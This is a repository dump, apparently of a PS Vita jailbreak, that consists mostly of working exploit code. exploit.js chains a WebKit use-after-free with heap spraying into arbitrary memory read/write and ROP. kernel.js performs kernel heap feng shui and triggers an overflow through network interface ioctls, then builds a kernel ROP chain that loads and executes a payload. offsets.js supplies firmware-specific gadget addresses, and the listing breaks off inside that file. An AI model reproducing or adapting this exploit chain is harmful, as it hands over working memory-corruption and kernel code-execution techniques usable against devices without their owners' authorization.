Repository: TheOfficialFloW/HENlo Branch: master Commit: 7405023eb55a Files: 11 Total size: 68.9 KB Directory structure: gitextract_eqjdimzx/ ├── LICENSE ├── exploit.js ├── index.html ├── jsos.js ├── kernel.js ├── offsets.js ├── payload/ │ ├── LICENSE │ ├── Makefile │ ├── linker.x │ └── payload.c └── server.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ The MIT License (MIT) Copyright (C) 2020 TheFloW Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: exploit.js ================================================ /* exploit.js -- implementation of the WebKit exploit * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ var _dview = null; function u2d(low, hi) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setUint32(0, hi); _dview.setUint32(4, low); return _dview.getFloat64(0); } function d2u(d) { if (!_dview) _dview = new DataView(new ArrayBuffer(16)); _dview.setFloat64(0, d); return { low: _dview.getUint32(4), hi: _dview.getUint32(0) }; } function init_memory(start_addr) { return function(size) { var res = start_addr; start_addr += size; return res; } } function mymemset(addr, b, len) { for (var i = 0; i < len; i++) { aspace[addr + i] = b; } } function mymemcpy(addr, data, len) { for (var i = 0; i < len; i++) { aspace[addr + i] = data.charCodeAt(i); } } function read_string(addr) { var i = aspace[addr]; var str = ""; while (i !== 00) { str += String.fromCharCode(i); addr++; i = aspace[addr]; } return str; } function decode_mov(addr) { var opcode = aspace32[addr / 4]; return ((opcode & 0xf0000) >> 4) | (opcode & 0xfff); } function decode_stub(addr) { return ((decode_mov(addr) & 0xffff) | (decode_mov(addr + 4) << 16)) >>> 0; } function gc() { for (var i = 0; i < 100; i++) { new Uint32Array(0x10000); } } var frame_arr = []; var frame_idx = 0; var peek_val = 0; function peek_stack() { var ret_val = undefined; var retno = 0xffff; arguments.length = { valueOf: function() { var _retno = retno; retno = 1; return _retno; } }; var args = arguments; (function() { (function() { (function() { ret_val = arguments[0xff00]; }).apply(null, args); }).apply(null, frame_arr); }).apply(null, frame_arr); peek_val = ret_val; return ret_val; } function poke_stack(val) { frame_arr[frame_idx] = val; (function() { (function() { (function() { }).apply(null, frame_arr); }).apply(null, frame_arr); }).apply(null, frame_arr); frame_arr[frame_idx] = ""; } function exploit() { var ua = navigator.userAgent; var ver = ua.substring(ua.indexOf("5.0 (") + 22, ua.indexOf(") Apple")); var version_dep = version_deps[ver]; if (version_dep == undefined) { alert("ERROR: Unsupported firmware."); return -1; } init_offsets(ver); for (var i = 0; i < 0xffff; i++) { frame_arr[i] = i; } frame_idx = 0; poke_stack(0); if (peek_stack() == undefined) { alert("ERROR: WebKit version not vulnerable."); return -1; } frame_idx = 0; poke_stack(0); peek_stack(); frame_idx = peek_val; poke_stack(0x4141); for (var k = 0; k < 8; k++) (function(){})(); peek_stack(); if (peek_val != 0x4141) { alert("ERROR: Could not align the stack."); return -1; } var uaf_replacement = new Array(0x400); for (var i = 0; i < 0x400; i++) { uaf_replacement[i] = []; for (var k = 0; k < 0x40; k++) { uaf_replacement[i][k] = 0x41414141; } uaf_replacement[i].unshift( uaf_replacement[i].shift()); // ensure ArrayStorage } var uaf_target = []; // no arraystorage for (var i = 0; i < 0x80; i++) { uaf_target[i] = u2d(0x41414141, 0x41414141); } poke_stack(uaf_target); // store uaf_target in stack uaf_target = 0; // remove reference for (var k = 0; k < 4; k++) gc(); // run GC peek_stack(); // read stored reference uaf_target = peek_val; peek_val = 0; // Corrupt JSArray by exploiting UaF for (var i = 0; i < 0x400; i++) { for (var k = 0x0; k < 0x80; k++) { uaf_replacement[i][k] = 0x7fffffff; if (uaf_target.length == 0x7fffffff) { var yi = i; for (var i = 0; i < yi; i++) { uaf_replacement[i] = 0; } for (var i = yi + 1; i < 0x400; i++) { uaf_replacement[i] = 0; } gc(); break; } } } if (uaf_target.length != 0x7fffffff) { alert("ERROR: Could not corrupt the JSArray."); return -1; } // Spray and interleave buffers and textareas var textareas = new Array(0x2000); var buffers = new Array(0x2000); var buffer_len = 0x2000; for (var i = 0; i < 0x2000; i++) { buffers[i] = new ArrayBuffer(buffer_len); var e = document.createElement("textarea"); e.rows = 0x66656463; textareas[i] = e; } // Use corrupted JSArray to corrupt a ArrayBuffer var base_addr = -1; for (var i = 0x10000; i < 0x40000; i++) { if (uaf_target[i] != 0) { _dview.setFloat64(0, uaf_target[i]); if (_dview.getUint32(4) == buffer_len) { _dview.setUint32(4, 0xfffffffc); uaf_target[i] = _dview.getFloat64(0); // buffer size _dview.setFloat64(0, uaf_target[i - 1]); base_addr = _dview.getUint32(0); _dview.setUint32(0, 0); uaf_target[i - 1] = _dview.getFloat64(0); // buffer offset break; } } } // Find corrupted ArrayBuffer var corrupted = null; for (var i = 0; i < buffers.length; i++) { if (buffers[i].byteLength != buffer_len) { corrupted = buffers[i]; break; } } if (!corrupted) { alert("ERROR: Could not corrupt the ArrayBuffer."); return -1; } // Arbitrary rw primitives aspace = new Uint8Array(corrupted); aspace16 = new Uint16Array(corrupted); aspace32 = new Uint32Array(corrupted); // Use corrupted ArrayBuffer to corrupt a textarea var textarea_addr = null; for (var i = base_addr / 4; i < base_addr / 4 + 0x4000; i++) { if (aspace32[i] == 0x66656463) { aspace32[i] = 0x55555555; textarea_addr = i * 4; break; } } // Find corrupted textarea var corrupted_textarea = null; for (var i = 0; i < textareas.length; i++) { if (textareas[i].rows == 0x55555555) { corrupted_textarea = textareas[i]; break; } } if (!corrupted_textarea) { alert("ERROR: Could not corrupt the textarea."); return -1; } // Leak pointer var vtidx = textarea_addr + elementvtable_off; var textareavptr = aspace32[vtidx / 4]; // Get bases var webkit_base = textareavptr - SceWebKit_base_off; var net_base = decode_stub(webkit_base + SceNet_stub_off) - SceNet_base_off; var libc_base = ( decode_stub(webkit_base + SceLibc_stub_off) - SceLibc_base_off); allocate_memory = init_memory(base_addr - 0x400000); // Create fake vtable and replace old one var fkvtable = allocate_memory(0x400 * 4); for (var i = 0; i < 0x400; i++) { aspace32[fkvtable / 4 + i] = aspace32[textareavptr / 4 + i]; } aspace32[vtidx / 4] = fkvtable; // Initialize ROP gadgets and library functions var bases = { "SceWebKit": webkit_base, "SceNet": net_base, "SceLibc": libc_base, }; var tmpmem = allocate_memory(0x5000); var caller = get_caller(tmpmem, corrupted_textarea, vtidx, fkvtable); init_ggts(bases, caller, ver); kxploit(caller, ver); } function go() { try { exploit(); } catch (e) { alert(e); } } ================================================ FILE: index.html ================================================ ================================================ FILE: jsos.js ================================================ /* jsos.js -- JavaScript on Steroids * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ function init_offsets(ver) { var version_dep = version_deps[ver]; for (b in version_dep) { var offsets = version_dep[b].offsets; for (off in offsets) { if (offsets.hasOwnProperty(off)) { window[off] = offsets[off]; } } } } function init_ggts(bases, caller, ver) { var version_dep = version_deps[ver]; for (b in bases) { var results = {}; if (bases.hasOwnProperty(b)) { var functions = version_dep[b].functions; for (fcn in functions) { if (functions.hasOwnProperty(fcn)) { window[fcn] = caller(functions[fcn] + bases[b]); } } var gadgets = version_dep[b].gadgets; for (ggt in gadgets) { if (gadgets.hasOwnProperty(ggt)) { window[ggt] = gadgets[ggt] + bases[b]; } } } } } function get_caller(tmpmem, element, vtidx, fkvtable) { return function (fcn) { return function(r0, r1, r2, r3) { var allocate_tmp = init_memory(tmpmem); var context_size = 0x30; var eleobj_size = 0x22; var scontext = allocate_tmp(context_size * 4); var seleobj = allocate_tmp(eleobj_size * 4); // Save Element object for (var i = 0; i < eleobj_size; i++) { aspace32[seleobj / 4 + i] = aspace32[vtidx / 4 + i]; } // Call setjmp aspace32[fkvtable / 4 + setscrollleft_off] = setjmp; element.scrollLeft = 0xdeadbabe; // Save jmp context for (var i = 0; i < context_size; i++) { aspace32[scontext / 4 + i] = aspace32[vtidx / 4 + i]; } // Restore Element object for (var i = 0; i < eleobj_size; i++) { aspace32[vtidx / 4 + i] = aspace32[seleobj / 4 + i]; } var r1values = allocate_tmp(0x1c); var r0values = allocate_tmp(0x1c); var r4values = allocate_tmp(0x10); var r8values = allocate_tmp(0x14); var r8values_0 = allocate_tmp(0x14); var r1values_1 = allocate_tmp(0x10); var retval = allocate_tmp(0x4); mymemset(retval, 0, 4); aspace32[(r1values + 0x00) / 4] = r0values; // r0 aspace32[(r1values + 0x04) / 4] = r2; // r2 aspace32[(r1values + 0x08) / 4] = r3; // r3 aspace32[(r1values + 0x0c) / 4] = 0xDEADBEEF; // r8 aspace32[(r1values + 0x10) / 4] = 0xDEADBEEF; // fp aspace32[(r1values + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(r1values + 0x18) / 4] = ldm_r0_r0_r1_r4_r8_fp_ip_pc; // pc aspace32[(r0values + 0x00) / 4] = r0; // r0 aspace32[(r0values + 0x04) / 4] = 0xDEADBEEF; // r1 aspace32[(r0values + 0x08) / 4] = r4values; // r4 aspace32[(r0values + 0x0c) / 4] = r8values; // r8 aspace32[(r0values + 0x10) / 4] = 0xDEADBEEF; // fp aspace32[(r0values + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(r0values + 0x18) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc aspace32[(r8values + 0x00) / 4] = r1; // r1 aspace32[(r8values + 0x04) / 4] = 0xDEADBEEF; // r6 aspace32[(r8values + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r8values + 0x0c) / 4] = ldm_r4_r3_r8_ip_pc; // lr aspace32[(r8values + 0x10) / 4] = fcn; // pc aspace32[(r4values + 0x00) / 4] = retval; // r3 aspace32[(r4values + 0x04) / 4] = r8values_0; // r8 aspace32[(r4values + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r4values + 0x0c) / 4] = ldm_r8_r1_r6_ip_lr_pc; // pc aspace32[(r8values_0 + 0x00) / 4] = r1values_1; // r1 aspace32[(r8values_0 + 0x04) / 4] = 0xDEADBEEF; // r6 aspace32[(r8values_0 + 0x08) / 4] = 0xDEADBEEF; // ip aspace32[(r8values_0 + 0x0c) / 4] = ldm_r1_r0_ip_lr_pc; // lr aspace32[(r8values_0 + 0x10) / 4] = str_r0_r3_bx_lr; // pc aspace32[(r1values_1 + 0x00) / 4] = scontext; // r0 aspace32[(r1values_1 + 0x04) / 4] = 0xDEADBEEF; // ip aspace32[(r1values_1 + 0x08) / 4] = 0xDEADBEEF; // lr aspace32[(r1values_1 + 0x0c) / 4] = longjmp; // pc // Trigger ROP chain aspace32[fkvtable / 4 + setscrollleft_off] = ldm_r1_r0_r2_r3_r8_fp_ip_pc; element.scrollLeft = r1values; return aspace32[retval / 4]; } }; } ================================================ FILE: kernel.js ================================================ /* exploit.js -- implementation of the kernel exploit * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX = 0x1020d005 SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW = 0x1020d006 SCE_NET_AF_INET = 2 SCE_NET_SOCK_DGRAM = 2 SIOCDIFADDR = 0x80206919 SIOCAIFADDR = 0x8040691a SIOCIFDESTROY = 0x80206979 SIOCIFCREATE = 0x8020697a SIZEOF_SIN = 0x10 PLANT_SIZE = 0x4000 DUMMY_SIZE = 0x4000 SOFTC_SIZE = 0x550 SPLIT_SIZE = 0x148 SPRAY_SIZE = 0xc8 HOLE_SIZE = 0x80 IF_SIZE = 0x140 NUM_SPRAY = 0x100 NUM_SOCKS = 0x80 NUM_SLOTS = 0x04 function load_binary_resource(url) { var req = new XMLHttpRequest(); req.open('GET', url, false); req.overrideMimeType('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responseText; } function inet_addr(str) { var ip_list = str.split(".").reverse(); var a1 = parseInt(ip_list[0]); var a2 = parseInt(ip_list[1]); var a3 = parseInt(ip_list[2]); var a4 = parseInt(ip_list[3]); var addr = ((a1 << 24) | (a2 << 16) | (a3 << 8) | a4) >>> 0; return addr; } function if_add_addr(sock, name, addr, dstaddr, mask) { var ifr = allocate_memory(0x40); mymemset(ifr, 0, 0x40); mymemcpy(ifr, name, name.length); aspace[(ifr + 0x10) / 1] = SIZEOF_SIN; aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x14) / 4] = addr; aspace[(ifr + 0x20) / 1] = SIZEOF_SIN; aspace[(ifr + 0x21) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x24) / 4] = dstaddr; aspace[(ifr + 0x30) / 1] = SIZEOF_SIN; aspace[(ifr + 0x31) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x34) / 4] = mask; return sceNetSyscallIoctl(sock, SIOCAIFADDR, ifr); } function if_del_addr(sock, name, addr) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); aspace[(ifr + 0x10) / 1] = SIZEOF_SIN; aspace[(ifr + 0x11) / 1] = SCE_NET_AF_INET; aspace32[(ifr + 0x14) / 4] = addr; return sceNetSyscallIoctl(sock, SIOCDIFADDR, ifr); } function if_clone_create(sock, name) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); return sceNetSyscallIoctl(sock, SIOCIFCREATE, ifr); } function if_clone_destroy(sock, name) { var ifr = allocate_memory(0x20); mymemset(ifr, 0, 0x20); mymemcpy(ifr, name, name.length); return sceNetSyscallIoctl(sock, SIOCIFDESTROY, ifr); } function net_malloc(slot, size) { var args = allocate_memory(0x08); aspace32[(args + 0x00) / 4] = slot; aspace32[(args + 0x04) / 4] = size; return sceNetSyscallControl(-1, 0x20000008, args, 0x08); } function net_free(slot) { var args = allocate_memory(0x08); aspace32[(args + 0x00) / 4] = slot; aspace32[(args + 0x04) / 4] = 0; return sceNetSyscallControl(-1, 0x20000009, args, 0x08); } function RopChain(buf, buf_addr) { this.chain = []; this.sysmem_offsets = []; this.sysmem_gadgets = []; this.push = function(gadget) { this.chain.push(gadget); }; this.push_sysmem = function(gadget) { this.sysmem_offsets.push(this.chain.length * 4); this.sysmem_gadgets.push(gadget); this.push(0xDEADBEEF); }; this.compile = function() { var resolve_stub_size = this.sysmem_offsets.length * 16 * 4; for (var i = 0; i < this.sysmem_offsets.length; i++) { var offset = buf_addr + resolve_stub_size + this.sysmem_offsets[i]; var gadget = SceSysmem_base_off + this.sysmem_gadgets[i]; var resolve_stub = [ movs_r0_0_pop_r3_pc, // pc ksceKernelFreeMemBlock, // r3 blx_r3_pop_r3_pc, // pc 0xDEADBEEF, // r3 push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc, // pc 0xDEADBEEF, // r6 0xDEADBEEF, // r0 offset, // r1 add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr, // r3 gadget, // r4 0xDEADBEEF, // r5 0xDEADBEEF, // r6 blx_r3_pop_r3_pc, // pc 0xDEADBEEF, // r4 0xDEADBEEF, // r5 0xDEADBEEF, // r3 ]; Array.prototype.unshift.apply(this.chain, resolve_stub); } for (var i = 0; i < this.chain.length; i++) { aspace32[(buf + i * 4) / 4] = this.chain[i]; } } } function build_krop(buf, buf_addr, payload, payload_size) { var krop = new RopChain(buf, buf_addr); var payload_code_blockid = buf_addr + 0x00; var payload_code_block = buf_addr + 0x04; // Allocate code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(empty_string); // r0 krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RW); // r1 krop.push((payload_size + 0xfff) & ~0xfff); // r2 krop.push(0); // r3 krop.push(ksceKernelAllocMemBlock); // r4 krop.push(0xDEADBEEF); // r6 krop.push(blx_r4_add_sp_c_pop_r4_r5_pc); // pc krop.push(0xDEADBEEF); // dummy krop.push(0xDEADBEEF); // dummy krop.push(0xDEADBEEF); // dummy krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r5 krop.push(str_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 // Get code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(payload_code_block); // r1 krop.push(0xDEADBEEF); // r2 krop.push(ksceKernelGetMemBlockBase); // r4 krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Copy payload from user to code block krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(payload); // r1 krop.push(payload_size); // r2 krop.push(ksceKernelMemcpyUserToKernel); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Mark code block as executable krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push(SCE_KERNEL_MEMBLOCK_TYPE_KERNEL_RX); // r1 krop.push(0xDEADBEEF); // r2 krop.push_sysmem(ksceKernelRemapBlock); // r3 krop.push(payload_code_blockid); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Clean cache krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push((payload_size + 0x1f) & ~0x1f); // r1 krop.push(0xDEADBEEF); // r2 krop.push_sysmem(ksceKernelCpuDcacheWritebackRange); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(blx_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 // Execute payload krop.push(pop_r0_r1_r2_r3_r4_r6_pc); // pc krop.push(0xDEADBEEF); // r0 krop.push_sysmem(0); // r1 krop.push(iflist_addr); // r2 krop.push(1); // r3 krop.push(payload_code_block); // r4 krop.push(0xDEADBEEF); // r6 krop.push(ldr_r0_r4_pop_r4_pc); // pc krop.push(0xDEADBEEF); // r4 krop.push(orrs_r0_r3_pop_r3_pc); // pc krop.push(0xDEADBEEF); // r3 krop.push(blx_r0_pop_r3_pc); // pc // Compile kernel ROP chain krop.compile(); } function kxploit(caller, ver) { // Fetch kernel payload var payload = load_binary_resource("payload.bin"); var payload_size = payload.length; var payload_buf = malloc(payload_size); mymemcpy(payload_buf, payload, payload_size); // Empty string var sockname = allocate_memory(0x04); aspace32[sockname / 4] = 0; // Initialize socket var sock = sceNetSyscallSocket( sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0); // Destroy clone interface if_clone_destroy(sock, "pppoe1337"); // Get 2nd interface name var iflist = allocate_memory(2 * IF_SIZE); sceNetSyscallGetIfList(iflist, 2); var ifname = read_string(iflist + IF_SIZE); // Delete custom address if_del_addr(sock, ifname, 0x13371337); // Free all slots for (var i = 0; i < NUM_SLOTS; i++) net_free(i); // Reserve memory for heap feng shui net_malloc(0, 0x8710); // Heap grooming var buf = allocate_memory(SPRAY_SIZE); mymemset(buf, 0, SPRAY_SIZE); var sin = allocate_memory(SIZEOF_SIN); mymemset(sin, 0, 0x10); aspace[(sin + 0x00) / 1] = SIZEOF_SIN; aspace[(sin + 0x01) / 1] = SCE_NET_AF_INET; aspace16[(sin + 0x02) / 2] = sceNetHtons(8888); aspace32[(sin + 0x04) / 4] = inet_addr("127.0.0.1"); sceNetSyscallBind(sock, sin, SIZEOF_SIN); var iov = allocate_memory(0x08); aspace32[(iov + 0x00) / 4] = buf; // iov_base aspace32[(iov + 0x04) / 4] = SPRAY_SIZE; // iov_len var msg = allocate_memory(0x1c); aspace32[(msg + 0x00) / 4] = sin; // msg_name aspace32[(msg + 0x04) / 4] = SIZEOF_SIN; // msg_namelen aspace32[(msg + 0x08) / 4] = iov; // msg_iov aspace32[(msg + 0x0c) / 4] = 1; // msg_iovlen aspace32[(msg + 0x10) / 4] = 0; // msg_control aspace32[(msg + 0x14) / 4] = 0; // msg_controllen aspace32[(msg + 0x18) / 4] = 0; // msg_flags for (var i = 0; i < NUM_SPRAY; i++) sceNetSyscallSendmsg(sock, msg, 0); var spray_sock = []; for (var i = 0; i < NUM_SOCKS; i++) spray_sock[i] = sceNetSyscallSocket( sockname, SCE_NET_AF_INET, SCE_NET_SOCK_DGRAM, 0); // Heap feng shui // 0x20+0x4000+0x8+0x20+0x148+0x8+0x20+0x550+0x8+0x20+0x4000+0x8 net_free(0); net_malloc(0, 0x6e8 + PLANT_SIZE); net_malloc(3, DUMMY_SIZE); // prevent hole from coalescing net_free(0); net_malloc(0, PLANT_SIZE); net_malloc(1, SOFTC_SIZE); net_malloc(2, SPLIT_SIZE); // Allocate plant buffer var plant_buf = malloc(PLANT_SIZE); mymemset(plant_buf, 0, PLANT_SIZE); // Leak clone interface and chunk header var softc_leak = plant_buf + 0x2000; net_free(1); if_clone_create(sock, "pppoe1337"); if_clone_destroy(sock, "pppoe1337"); net_malloc(1, SOFTC_SIZE - 0x80); net_free(1); sceNetSyscallControl(-1, 0x14, softc_leak, SOFTC_SIZE); // Create clone interface if_clone_create(sock, "pppoe1337"); // Check for validity if (read_string(softc_leak + 0x14) != "pppoe1337" || aspace32[(softc_leak + 0x6c) / 4] != SOFTC_SIZE - 0x80) { if_clone_destroy(sock, "pppoe1337"); for (var i = 0; i < NUM_SLOTS; i++) net_free(i); for (var i = 0; i < NUM_SOCKS; i++) sceNetSyscallClose(spray_sock[i]); sceNetSyscallClose(sock); alert("ERROR: Could not leak heap memory."); return -1; } // Obtain kernel pointers netps_base = aspace32[(softc_leak + 0x64) / 4] + SceNetPs_base_off; iflist_addr = aspace32[(softc_leak + 0x74) / 4] - 0x150; // Initialize kernel ROP gadgets var ex_bases = { "SceNetPs": netps_base, }; init_ggts(ex_bases, caller, ver); // Fake object var fake = plant_buf + 0x1000; var fake_addr = iflist_addr + 0x6e8 + 0x1000; aspace32[(fake + 0x00) / 4] = fake_addr + 0x00; // r0 aspace32[(fake + 0x04) / 4] = 0xDEADBEEF; // r1 aspace32[(fake + 0x08) / 4] = 0xDEADBEEF; // r2 aspace32[(fake + 0x0c) / 4] = 0xDEADBEEF; // r3 aspace32[(fake + 0x10) / 4] = 0xDEADBEEF; // r4 aspace32[(fake + 0x14) / 4] = 0xDEADBEEF; // ip aspace32[(fake + 0x18) / 4] = fake_addr + 0x100; // sp aspace32[(fake + 0x1c) / 4] = 0xDEADBEEF; // lr aspace32[(fake + 0x20) / 4] = pop_pc; // pc aspace32[(fake + 0x34) / 4] = fake_addr + 0x00; // any valid address aspace32[(fake + 0x50) / 4] = ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc; // func aspace32[(fake + 0x58) / 4] = 1; // Build kernel ROP chain build_krop(fake + 0x100, fake_addr + 0x100, payload_buf, payload_size); // Plant data net_free(0); sceNetSyscallControl(-1, 0x20000000, plant_buf, PLANT_SIZE); net_malloc(0, PLANT_SIZE); // Prepare corruption if_add_addr(sock, ifname, 0x13371337, fake_addr, 0); // Create hole net_free(2); net_malloc(2, SPLIT_SIZE - HOLE_SIZE - 0x28); // Trigger overflow and code execution sceNetSyscallGetIfList(iflist, 0x0199999a); return 0; } ================================================ FILE: offsets.js ================================================ /* offsets.js -- offsets for exploitation * * Copyright (C) 2020 TheFloW * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ SceWebKit_gadgets_v361_v365 = { ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x5490e4, ldm_r1_r0_ip_lr_pc: 0x2b120, ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62b6e0, ldm_r4_r3_r8_ip_pc: 0xb2bd4, ldm_r8_r1_r6_ip_lr_pc: 0x5579c0, str_r0_r3_bx_lr: 0x2431d1, } SceWebKit_gadgets_v368_v373 = { ldm_r0_r0_r1_r4_r8_fp_ip_pc: 0x549a80, ldm_r1_r0_ip_lr_pc: 0x2b19c, ldm_r1_r0_r2_r3_r8_fp_ip_pc: 0x62f808, ldm_r4_r3_r8_ip_pc: 0xb2d3c, ldm_r8_r1_r6_ip_lr_pc: 0x5587b0, str_r0_r3_bx_lr: 0x24367d, } SceWebKit_offsets_v361_v365 = { SceWebKit_base_off: 0xabb63c, SceNet_stub_off: 0x85f3f4, SceLibc_stub_off: 0x85f4e4, elementvtable_off: -0x70, setscrollleft_off: 0x4e, } SceWebKit_offsets_v368_v373 = { SceWebKit_base_off: 0xac3544, SceNet_stub_off: 0x866ab8, SceLibc_stub_off: 0x866ba8, elementvtable_off: -0x70, setscrollleft_off: 0x4e, } SceLibc_functions_v360_v373 = { malloc: 0xfa19, free: 0xfa29, } SceLibc_gadgets_v360_v373 = { setjmp: 0x14071, longjmp: 0x14099, } SceLibc_offsets_v360_v373 = { SceLibc_base_off: 0xfa49, } SceNet_functions_v360_v373 = { sceNetHtons: 0x23d5, sceNetSyscallClose: 0x9f60, sceNetSyscallBind: 0x9f80, sceNetSyscallIoctl: 0x9f90, sceNetSyscallSocket: 0xa030, sceNetSyscallGetIfList: 0xa050, sceNetSyscallSendmsg: 0xa0b0, sceNetSyscallControl: 0xa110, } SceNet_offsets_v360_v373 = { SceNet_base_off: 0x23ed, } SceNetPs_gadgets_v363_v370 = { blx_r0_pop_r3_pc: 0x2a11b, blx_r3_pop_r3_pc: 0x1959, blx_r4_add_sp_c_pop_r4_r5_pc: 0xe361, pop_pc: 0x1619f, pop_r0_r1_r2_r3_r4_r6_pc: 0x230cd, ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb734, ldr_r0_r4_pop_r4_pc: 0x2a79d, str_r0_r4_pop_r4_pc: 0x1693f, push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b067, add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c1b, orrs_r0_r3_pop_r3_pc: 0x3c2f, movs_r0_0_pop_r3_pc: 0xce5, ksceKernelFreeMemBlock: 0x2a7a8, ksceKernelGetMemBlockBase: 0x2a7e8, ksceKernelMemcpyUserToKernel: 0x2a7f8, ksceKernelAllocMemBlock: 0x2a818, empty_string: 0x22, } SceNetPs_gadgets_v371_v373 = { blx_r0_pop_r3_pc: 0x2a14b, blx_r3_pop_r3_pc: 0x1959, blx_r4_add_sp_c_pop_r4_r5_pc: 0xe391, pop_pc: 0x161cf, pop_r0_r1_r2_r3_r4_r6_pc: 0x230fd, ldm_r0_r0_r1_r2_r3_r4_ip_sp_lr_pc: 0xb764, ldr_r0_r4_pop_r4_pc: 0x2a7cd, str_r0_r4_pop_r4_pc: 0x1696f, push_r3_r4_lr_pop_r0_r1_r2_r6_r0_r1_r3_r4_r5_r6_pc: 0x2b097, add_r2_r4_pop_r4_r5_str_r2_r1_bx_lr: 0x24c4b, orrs_r0_r3_pop_r3_pc: 0x3c2f, movs_r0_0_pop_r3_pc: 0xce5, ksceKernelFreeMemBlock: 0x2a7d8, ksceKernelGetMemBlockBase: 0x2a818, ksceKernelMemcpyUserToKernel: 0x2a828, ksceKernelAllocMemBlock: 0x2a848, empty_string: 0x22, } SceNetPs_offsets_v363_v370 = { SceNetPs_base_off: -0x8d45, } SceNetPs_offsets_v371_v373 = { SceNetPs_base_off: -0x8d75, } SceSysmem_offsets_v363_v373 = { SceSysmem_base_off: -0x810b, ksceKernelRemapBlock: 0x7f69, ksceKernelCpuDcacheWritebackRange: 0x22fcd, } version_deps = { // TODO: 3.60 // TODO: 3.61 "3.63": { "SceWebKit": { gadgets: SceWebKit_gadgets_v361_v365, offsets: SceWebKit_offsets_v361_v365, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_offsets_v363_v370, }, "SceSysmem": { offsets: SceSysmem_offsets_v363_v373, }, }, "3.65": { "SceWebKit": { gadgets: SceWebKit_gadgets_v361_v365, offsets: SceWebKit_offsets_v361_v365, }, "SceLibc": { functions: SceLibc_functions_v360_v373, gadgets: SceLibc_gadgets_v360_v373, offsets: SceLibc_offsets_v360_v373, }, "SceNet": { functions: SceNet_functions_v360_v373, offsets: SceNet_offsets_v360_v373, }, "SceNetPs": { gadgets: SceNetPs_gadgets_v363_v370, offsets: SceNetPs_offsets_v363_v370, 